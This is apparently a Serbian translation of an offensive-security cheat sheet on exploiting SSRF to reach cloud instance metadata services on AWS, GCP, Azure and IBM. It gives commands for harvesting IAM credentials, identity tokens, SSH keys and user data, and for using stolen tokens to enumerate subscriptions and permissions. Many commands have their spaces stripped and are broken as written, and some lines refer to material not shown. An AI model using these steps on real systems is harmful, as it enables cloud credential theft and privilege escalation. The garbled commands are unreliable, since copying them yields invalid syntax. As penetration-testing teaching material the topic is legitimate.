Metadata endpoint može biti pristupačan sa bilo kog EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na URL-u: http://169.254.169.254 (informacije o metapodacima ovde).
Postoje 2 verzije metadata endpointa. Prva verzija omogućava pristup endpointu putem GET zahteva (tako da ga bilo koji SSRF može iskoristiti). Za verziju 2, IMDSv2, morate zatražiti token slanjem PUT zahteva sa HTTP zaglavljem i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je komplikovanije zloupotrebiti sa SSRF-om).
Imajte na umu da ako EC2 instanca primenjuje IMDSv2, prema dokumentaciji, odgovor na PUT zahtev će imati limit skoka od 1, što čini nemogućim pristup metapodacima EC2 iz kontejnera unutar EC2 instance.
Osim toga, IMDSv2 će takođe blokirati zahteve za dobijanje tokena koji uključuju zaglavlje X-Forwarded-For. Ovo je kako bi se sprečilo da loše konfigurisani obrnuti proxy serveri mogu pristupiti tome.
Primetite aws_session_token, to je neophodno da profil funkcioniše.
PACU se može koristiti sa otkrivenim pristupnim podacima kako bi se saznala vaša privilegija i pokušalo da se eskalira privilegija
SSRF u AWS ECS (Container Service) pristupnim podacima
ECS, je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate svoju sopstvenu infrastrukturu za upravljanje klasterima jer ECS to upravlja umesto vas. Ako uspete da kompromitujete servis koji se izvršava u ECS, metadata endpointi se menjaju.
Ako pristupite http://169.254.170.2/v2/credentials/<GUID> pronaći ćete pristupne podatke ECS mašine. Ali prvo morate pronaći <GUID>. Da biste pronašli <GUID> morate pročitati environ promenljivu AWS_CONTAINER_CREDENTIALS_RELATIVE_URI unutar mašine.
Možda ćete moći da je pročitate eksploatišući Path Traversal do file:///proc/self/environ
Pomenuta http adresa trebalo bi da vam pruži AccessKey, SecretKey i token.
Imajte na umu da u nekim slučajevima možete pristupiti EC2 metapodacima iz kontejnera (proverite ograničenja TTL IMDSv2 navedena ranije). U ovim scenarijima iz kontejnera možete pristupiti i ulozi IAM kontejnera i ulozi EC2.
SSRF za AWS Lambda
U ovom slučaju, poverljivi podaci se čuvaju u env promenljivama. Dakle, da biste im pristupili, morate pristupiti nečemu poput file:///proc/self/environ.
Nazivi zanimljivih env promenljivih su:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Pored IAM akreditiva, Lambda funkcije takođe imaju podatke događaja koji se prosleđuju funkciji prilikom pokretanja. Ovi podaci su dostupni funkciji putem interfejsa za izvršavanje i mogu sadržati poverljive informacije (kao unutar stageVariables). Za razliku od IAM akreditiva, ovi podaci su dostupni putem standardnog SSRF-a na http://localhost:9001/2018-06-01/runtime/invocation/next.
Imajte na umu da su akreditivi lambda funkcija unutar env promenljivih. Dakle, ako stek trag koda lambda funkcije ispisuje env promenljive, moguće je izvući ih izazivajući grešku u aplikaciji.
Da biste koristili ukradeni token servisnog naloga, jednostavno uradite:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
Iz env možete dobiti vrednosti IDENTITY_HEADERiIDENTITY_ENDPOINT. To možete koristiti da biste prikupili token za komunikaciju sa serverom metapodataka.
Većinu vremena, želite token za jedan od ovih resursa:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Oblaci
Imajte na umu da u IBM-u podaci o metapodacima nisu podrazumevano omogućeni, pa je moguće da im nećete moći pristupiti čak i ako se nalazite unutar IBM-ovog virtuelnog servera.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentacija za različite platforme metadata servisa je detaljno opisana u nastavku, ističući metode putem kojih se može pristupiti konfiguraciji i informacijama o izvršavanju instanci. Svaka platforma nudi jedinstvene endpointe za pristup svojim metadata servisima.